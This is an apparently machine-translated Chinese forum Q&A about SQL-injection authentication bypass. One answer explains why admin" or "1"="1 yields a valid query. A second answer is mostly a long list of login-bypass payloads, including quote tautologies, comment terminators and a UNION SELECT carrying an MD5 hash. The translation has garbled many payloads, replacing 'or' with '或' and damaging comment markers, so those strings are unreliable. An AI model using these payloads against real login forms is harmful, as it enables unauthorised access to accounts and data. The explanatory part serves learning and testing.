我在一个拥有运行SQL注入完全权限的网站上运行了admin" or "1"="1
。该网站配置错误,让我直接登录。
我不明白的是,为什么在最后的数字1之后不需要双引号?
如果php是这样工作的:username="admin" and password=md5("password")
,那么admin之后的引号"关闭第一个引号
"1" is closed, but I don't understand "1
有人能为我解释一下吗?
提前感谢
想想应用程序中的SQL查询可能是什么。
可能像你提到的select * from users where username="<<username>>" and password=md5("<<password>>")
一样。
在注入<<username>>
和<<password>>
之后,您仍然需要有一个有效的SQL查询,否则应用程序将失败并出现错误。
使用<<username>>
进行注入,admin
之后的引号关闭用户名字符串,or "1"="1
进行如下查询:
select * from users where username="admin" or "1"="1" and password=md5("<<password>>")
这是有效的,由于and
的优先级高于or
,它会得到一个名为"admin"的用户,或者一个拥有您在另一个字段中输入的密码的用户,这无关紧要。
如果在注入的字符串末尾有一个引号,那么查询将是select * from users where username="admin" or "1"="1"" and password=md5("<<password>>")
,这是无效的SQL,因为有两个引号(很容易看到,因为引号的数量是奇数(。
应用程序中的SQL查询将关闭最后一个1之后的双引号。
SQL注入模式或1=1
或1=1-
或1=1#
或1=1/*
admin'-
管理员'#
admin'/*
admin'或'1'='1
admin'或'1'='1'--
admin'或'1'='1'#
admin'或'1'='1'/*
admin'or 1=1或''='
admin'或1=1
admin'或1=1-
admin'或1=1#
admin'或1=1/*
admin'(或('1'='1
admin'(或('1'='1'--
admin'(或('1'='1'#
admin'(或('1'='1'/*
admin'(或'1'='1
admin'(或'1'='1'--
admin'(或'1'='1'#
admin'(或'1'='1'/*
1234'AND 1=0 UNION ALL SELECT'admin','81dc9bdb52d04dc20036dbd8313ed055
admin"--
admin"#
admin"/*
admin"或"1"="1
admin"或"1"="1"--
admin"或"1"="1"#
admin"或"1"="1"/*
admin"或1=1或"=">
admin"或1=1
admin"或1=1-
admin"或1=1#
admin"或1=1/*
admin"(或("1"="1
admin"(或("1"="1"--
admin"(或("1"="1"#
admin"(或("1"="1"/*
admin"(或"1"="1
admin"(或"1"="1"--
admin"(或"1"="1"#
admin"(或"1"="1"/*
1234"AND 1=0 UNION ALL SELECT"admin","81dc9bdb52d04dc20036dbd8313ed055
希望这能帮助